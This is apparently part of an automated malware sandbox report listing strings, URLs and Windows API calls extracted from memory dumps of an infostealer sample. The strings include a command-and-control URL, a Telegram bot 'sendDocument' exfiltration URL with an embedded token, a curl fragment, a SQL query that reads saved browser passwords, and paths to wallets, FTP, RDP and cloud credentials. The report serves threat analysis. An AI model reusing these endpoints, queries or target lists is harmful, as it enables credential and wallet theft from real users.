"https://watson.telemetry.microsoft.comoftware\microsoft\sqmclient\windows\commondatapoints807310433457345724575929012728system\currentcontrolset\control\systeminformationsystemmanufacturerbiosversionsystemproductnamecomputerhardwareidhardware\description\system\centralprocessor\0" - Source: "00000000-00004464.00000000.157866.8417F000.00000002.mdmp") Found URL "https://nw-umwatson.events.data.microsoft.com/telemetry.requestapplication/xmlcontent-typecontent-lengthmsa_deviceticketapplication/x-binarywerreportmetadataprocess_idprocessinformationimagenamecmdlinesignatureuptimewow64iptenabledprocessmetadataproblemsignatureseventtypeparameter%04d-%02d-%02dt%02d:%02d:%02dzreportinformationguidsourcecreationtimememorymini..\..\third_party\crashpad\crashpad\edge_watson_uploader\secondary_data_collectors\file_collector_win.ccgetfileattributes" - Source: "00000000-00004464.00000000.157866.8417F000.00000002.mdmp") Found URL "https://crashpad.chromium.org/https://crashpad.chromium.org/bug/newreport" - Source: "00000000-00004464.00000000.157866.8417F000.00000002.mdmp") Found URL "http://www.w3.org/2000/xmlns/" - Source: "00000000-00004464.00000000.157866.8417F000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005708.00000000.157476.15D20000.00000004.mdmp") Found URL "http://ruruurururururu.ru:8880/ba1ee0b1c3f8e321abcab4c2d57c37b52ef592a009c128e652c6e3c486315abc\local\t" - Source: "00000000-00005708.00000001.159287.15D20000.00000004.mdmp") Found URL "https://ioc.exchange/api/v1/accounts/116089313715962613sha1microsoft" - Source: "00000000-00005708.00000001.159287.15D20000.00000004.mdmp") Found URL "https://ioc.exchange/microsoft" - Source: "00000000-00005708.00000001.159287.15D20000.00000004.mdmp") Found URL "http://wwwttp://ruruurururururu.ru:8880/ba1ee0b1c3f8e321abcab4c2d57c37b52ef592a009c128e652c6e3c486315abc.2.840.113549.1.9.16.2.3safd" - Source: "00000000-00005708.00000001.159287.15D20000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005708.00000001.159287.15D20000.00000004.mdmp") Found URL "https://www.microsoft.com/key:" - Source: "00000000-00005708.00000001.159287.179A0000.00000004.mdmp") Found URL "https://c.clarity.ms:443,*" - Source: "00000000-00005708.00000001.159287.179C2000.00000004.mdmp") Found URL "https://sb.scorecardresearch.h44271462ytion" - Source: "00000000-00005708.00000001.159287.179C2000.00000004.mdmp") Found URL "https://www.google.com/fnamespace-87e2b800_87dd_4c08_acc2_eb9fefd6811f-https://www.google.com/vnext-map-idfnamespace-34805c29_8d66_48d9_977c_d318f2079490-https://www.google.com/next-map-id]namespace-34805c29_8d66_48d9_977c_d318f2079490-https://ogs.google.com/^0chrome://new-tab-page]namespace-34805c29_8d66_48d9_977c_d318f2079490-https://ogs.google.com/^0chrome://new-tab-pagefnamespace-34805c29_8d66_48d9_977c_d318f2079490-https://www.google.com/next-map-idfnamespace-b5fe084e_7d14_4e1c_9405_e42312450dd1-https://www.google.com/fnamespace-b5fe084e_7d14_4e1c_9405_e42312450dd1-https://www.google.com/historyfirefoxautofill_edge_extended_name_value_form_signature_field_signatureywzu7870.defaultlx8?bookmarkshj" - Source: "00000000-00005708.00000001.159287.17A6C000.00000004.mdmp") Found URL "https://www.microsoft.com/edge/welcome?form=mt00ljtitle:" - Source: "00000000-00005708.00000001.159287.17A6C000.00000004.mdmp") Found URL "https://www.microsoft.com/en-us/edge/welcome?form=mt00lj&cs=3433859622title:" - Source: "00000000-00005708.00000001.159287.17A6C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005708.00000001.159287.17B40000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005708.00000001.159287.17B40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005708.00000001.159287.17B40000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005708.00000001.159287.17B40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005708.00000001.159287.17B40000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005708.00000001.159287.17B40000.00000004.mdmp") Found URL "https://www.w3.ogoogletokens.txt" - Source: "00000000-00005708.00000001.159287.17EBB000.00000004.mdmp") Found URL "https://ap%s\%s740706" - Source: "00000000-00005708.00000001.159287.17F55000.00000004.mdmp") Found URL "https://www.mozilla.org/en-us/firefox/customize/title:" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://www.mozilla.org/en-us/contribute/title:" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://www.mozilla.org/en-us/about/title:" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://www.mozilla.org/en-us/firefox/central/title:" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://https://" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://category" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://store.json" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://xmr" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://:" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://tions" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://gory" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://rustwallet" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://ledger" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://hantom" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://tfinex" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://http://category" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://zel" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://es_applications" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://tial" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://lications" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://ons" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://dus" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://eamviewer" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://ame" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://ic\\local" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://s" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://e" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://data%\\winscp" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://rogramdata%\\cishttps://file" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://%userprofile%\\ohttps://ect" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://hs" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://ame" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://ile%\\documents" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://a%\\teamviewer" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://.rdp" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://ths" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://ershell\\psreadlhttp://%\\7-zip" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://ogramdata%\\orighttp://mlauncher" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://\\multimc" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://t\\settings\\gamhttps://" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://sential" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://tial" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://launcher\\confighttps://" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://pmanager" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://le%\\.azure" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://e" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://\\desksharedata\http://" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://ocalappdata%\\nohttp://" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://pdata%\\smartftphttp://" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://.wallet" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://api.ipify.org).trim();curl.exe" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocument" - Source: "00000000-00005708.00000001.159287.17F71000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/p/?linkid=255142" - Source: "00000000-00005708.00000001.159287.18220000.00000004.mdmp") Found URL "https://ap%localappdata%" - Source: "00000000-00005708.00000001.159287.18222000.00000004.mdmp") Found URL "https://api.tel%username%" - Source: "00000000-00005708.00000001.159287.18222000.00000004.mdmp") Found URL "http://www.cwi.nl)" - Source: "00000000-00005708.00000001.159287.18222000.00000004.mdmp") Found URL "http://www.cnri.reston.va.us)in" - Source: "00000000-00005708.00000001.159287.18222000.00000004.mdmp") Found URL "https://www.python.org/psf/)" - Source: "00000000-00005708.00000001.159287.18222000.00000004.mdmp") Found URL "http://www.opensource.org" - Source: "00000000-00005708.00000001.159287.18222000.00000004.mdmp") Found URL "https://api.ipify.org).trim();curl.exe" - Source: "00000000-00005708.00000001.159287.182F7000.00000004.mdmp") Found URL "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocument" - Source: "00000000-00005708.00000001.159287.182F7000.00000004.mdmp") Found URL "http://www.w3.org/" - Source: "00000000-00005708.00000001.159287.182F7000.00000004.mdmp") Found URL "http://www.w3.org/https://www.w3.org/cf.turnstile.usb_wiz.google_adsensegoogle_ama__gcl_goog:cached:st_shares_st_cch_st_prf_nrba_taboolasc_medium__uetsid_uetvid_grecaptchac_imp_li_ads_gespsk-snowplowoutqueueadoricid5idpanoramaid_pubcid_oz_bandwidth_hjuser_cc_id_boomr___tea_wzrk_slardaramp_unsent__etm_evt_server_setdwhclickonmodelbtuserajs_sa-user-id_ym__qcses_pcrprs_psegs_psspsshowversiontime_countshowslb_showtime_69ab.storage.criteo_rtbhouse__rtbh.auhadronauhalo_lc2_com.adobe.reactor._chartbeat_cb_svref_cb_expires33acrossid_6sensebanzai:csm-pbjs-onesignal-tgt:tlm:obf-statsig.usi_u_sclidtealium_izootogooglesyndication.comyoutube.commsn.com://ads.learn.microsoft.commicrosoftedge.microsoft.comwww.bing.comgrammarly.comtaboola.comdoubleclick.netd__198" (Indicator: "base64"; Source: "00000000-00002720.00000001.160058.78480000.00000004.mdmp") Found string "d__148" (Indicator: "base64"; Source: "00000000-00002720.00000001.160058.78480000.00000004.mdmp") Found string "d__151" (Indicator: "base64"; Source: "00000000-00002720.00000001.160058.78480000.00000004.mdmp") Found string "d__484" (Indicator: "base64"; Source: "00000000-00002720.00000001.160058.78480000.00000004.mdmp") Found string "d__110" (Indicator: "base64"; Source: "00000000-00002720.00000001.160058.78480000.00000004.mdmp")61:T7d5,Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "11480804382,3864,3120,,FindNextFileW,kernel32.dll,"00:41:10.921",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found reference to API "11296446451,3864,3120,,FindNextFileW,kernel32.dll,"00:41:10.843",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found reference to API "11296099713,3864,3120,,FindNextFileW,kernel32.dll,"00:41:10.843",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found reference to API "11147341507,3864,3120,,FindNextFileW,kernel32.dll,"00:41:10.781",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found reference to API "11481140782,3864,3120,,FindNextFileW,kernel32.dll,"00:41:10.921",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found reference to API "11146991087,3864,3120,,FindNextFileW,kernel32.dll,"00:41:10.781",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found reference to API "11480326484,3864,3118,,FindFirstFileW,kernel32.dll,"00:41:10.921",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp")62:T8ec,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "Process32Next" (Indicator: "Process32Next"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "Process32First" (Indicator: "Process32First"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp")63:T1000,Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetFileAttributesExA" (Indicator: "GetFileAttributes"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp")64:T605,Found string "SELECT origin_url, action_url, username_value, password_value, date_created, date_last_used FROM logins;" (Indicator: "password"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found string "passwords" (Indicator: "password"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00002720.00000001.160058.78440000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00002720.00000001.160058.78480000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00002720.00000001.160058.78480000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00002720.00000001.160058.78480000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00002720.00000002.161977.783A0000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00002720.00000002.161977.783C0000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00002720.00000002.161977.783C0000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00002720.00000002.161977.783D0000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00002720.00000002.161977.783D0000.00000004.mdmp")65:T588,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "DuplicateToken" (Indicator: "DuplicateToken"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp")66:Tb63,"